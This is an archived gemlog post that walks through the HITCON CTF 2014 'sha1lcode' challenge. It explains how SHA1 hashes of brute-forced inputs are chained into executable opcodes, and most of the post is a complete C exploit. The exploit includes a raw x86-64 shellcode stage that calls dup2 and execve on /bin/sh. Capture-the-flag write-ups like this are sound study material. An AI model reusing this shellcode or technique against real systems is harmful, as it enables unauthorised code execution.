💾 Archived View for 0x80.org › gemlog › 2014-08-18-hitcon-writeup-shellcode.gmi captured on 2021-12-03 at 14:04:38. Gemini links have been rewritten to link to archived content

View Raw

More Information

-=-=-=-=-=-=-

HITCON writeup - sha1lcode

I participated in Hitcon CTF 2014 late, and didn't take it too serious as I have been busy with other things. The good CTFs always tend to come at the wrong time for me :), or maybe everytime for me is the wrong time. Anyway, we (me and a friend) have ranked around 50 by the end of the game with around 1000 pts. Solved "callme, rsbo, tarmful, sha1lcode, and vash". One of the challenges that I enjoyed solving was sha1lcode it was definitly a very creative challenge. We are provided with an ELF x86 64-bit file to exploit. I have reverse engineered the file and it looks something like

int main() {
  run_sha1 = (void (__fastcall *)(signed __int64, signed __int64))&code;
  read(0, &n, 4uLL);
  if ( n > 1000 )
    exit(0);
  for ( i = 0; 16 * n > i; i += len )
    len = read(0, (char *)&input + i, 16 * n - i);
  for ( j = 0; j < n; ++j )
    SHA1(16 * j + 0x601080LL, 16LL, (char *)&code + 20 * j);
  memset(&input, -1, 0x3E80uLL);
  run_sha1(6295680LL, 0xFFFFFFFFLL);
  return 0;
}

What this do is it reads number n where n < 1000 then it reads n number of strings of length 16 into a memory then it converts those strings to SHA1 hashes adding them inside code, after that input (The read strings) is zeroed and it jumps and executes the generated hashes. What we need to do here is generate the right hashes that contains useful opcodes.

To do that we have to find a random 16 bytes string that will generate a SHA1 hash that has valid opcodes. My approach was to find such strings and SHA1 hashes that has 3-4 opcodes that I want at the beginning and those opcodes should be as follow. The first onw or two bytes is whatever we want to build the payload, the second two bytes is a jump to the next hash. So we build a chained payload. Eg:

| our-bytes
| jmp next
| ..........sha1 garbage..........
-> our-bytes
| jmp next
| ..........sha1 garbage..........
-> our-bytes
| jmp next
....etc

It's a little too much work to make this do something useful and it will take a while to find the right strings. The longer the opcodes the more time it will take to find them, so we stick with 3-4 bytes. I found a shortcut I noticed that it will be easier to :

We use pops and pushes since they only have one byte (easier to find). rsi contains &code which our sha1 generated hashes reside at, we zero rax because 0 is sys_read. Then we have rax = syscall_read(rsi,rdi,rdx...) This will allow us to read from stdin more data into &code and then call rsi is simply starting from the beginning of the generated hashes area, executing our next payload.

The exploit :

//qnix
#include <openssl/sha.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <time.h>
#include <assert.h>
#include <stdbool.h>
#include <unistd.h>

#define write_blocks(N) do { \
    char _c; \
    _c = N; write(1, (char *)&_c, 1); \
    _c = '\0'; write(1, (char *)&_c, 1); \
    write(1, (char *)&_c, 1); \
    write(1, (char *)&_c, 1); \
} while(0)

unsigned char *get_opcode(unsigned char *opcode, int len);
unsigned char *get_sha(unsigned char *str);
bool check_opcode(unsigned char *opcode, int len, unsigned char *md);
static int block_count = 0;

unsigned char *get_sha(unsigned char *str) {
    char *md = calloc(16, sizeof(unsigned char));
    if(md == NULL)
        return NULL;
    SHA1(str, 16LL, md);
    return md;
}

unsigned char *random_string(size_t len) {
    static char charset[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
    unsigned char *res;
    int i;
    res = calloc(len+1, sizeof(len));
    if(res == NULL)
        return NULL;
    for(i=0;i<len;i++) {
        int key = rand() % (int)(sizeof(charset)-1);
        res[i] = charset[key];
    }
    res[len] = '\0';
    return res;
}

unsigned char *get_opcode(unsigned char *opcode, int len) {
    unsigned char *rstr;
    unsigned char *md;
    int i;
    while(1) {
        rstr = random_string(16);
        md   = get_sha(rstr);
        if(check_opcode(opcode, len, md) == true) {
            free(md);
            block_count++;
            return rstr;
        }
        free(rstr);
        free(md);
    }
    return NULL;
}

bool check_opcode(unsigned char *opcode, int len, unsigned char *md) {
    int i;
    for(i=0;i<len;i++) {
        if(opcode[i] != md[i])
            return false;
    }
    return true;
}

int main() {
    int i;
    unsigned char *md;

    srand(time(NULL));

#if 0
    printf("%s\n", get_opcode("\xff\xd6\xeb\x10", 4)); return 0;
#endif

    unsigned char *push_rbx  = "5woWFg4cAR0P6m5y"; // push rbx,jmp 0x12
    unsigned char *pop_rax   = "VtWYJjjMoSBQsdEQ"; // pop rax, jmp 0x12
    unsigned char *syscall   = "067PlEV1zMiF95TR"; // syscall  jmp 0x11.
    unsigned char *cc        = "yKQgR9FKgcNd6spD"; // intcc,   jmp 0x12..etc
    unsigned char *push_rdx  = "IKvdIzDL5v8H6BJP"; // push rdx jmp 0x12
    unsigned char *pop_rsi   = "FGguI99XlknDCZ5V"; // pop rsi  jmp 0x12
    unsigned char *pop_rdi   = "8lNHGnUrWaGARVlr"; // pop rdi  jmp 0x12
    unsigned char *push_rcx  = "lTbiBhxOMl2bBbWd"; // push rcx jmp 0x12
    unsigned char *call_rsi  = "aPZsyZcvF0ohWCyE"; // call rsi jmp 0x11

    write_blocks(8); 
    printf("%s", push_rbx);
    printf("%s", pop_rax);
    printf("%s", push_rbx);
    printf("%s", pop_rdi);
    printf("%s", push_rcx);
    printf("%s", pop_rsi);
    printf("%s", syscall);
    printf("%s", call_rsi);
    fflush(stdout);
    sleep(2);
    fflush(stdout);
    printf("\x6a\x04\x5f\x6a\x21\x58\x6a\x02\x5e\x0f\x05\x48\xff\xce\x6a\x21\x58\x0f\x05\x48\xff\xce\x6a\x21\x58\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05");
    return 0;
}

and

ze%us:sha1lcode/ # ./sha1lcode-5b43cc13b0fb249726e0ae175dbef3fe < <(./exploit;echo "blablabla")   
....etc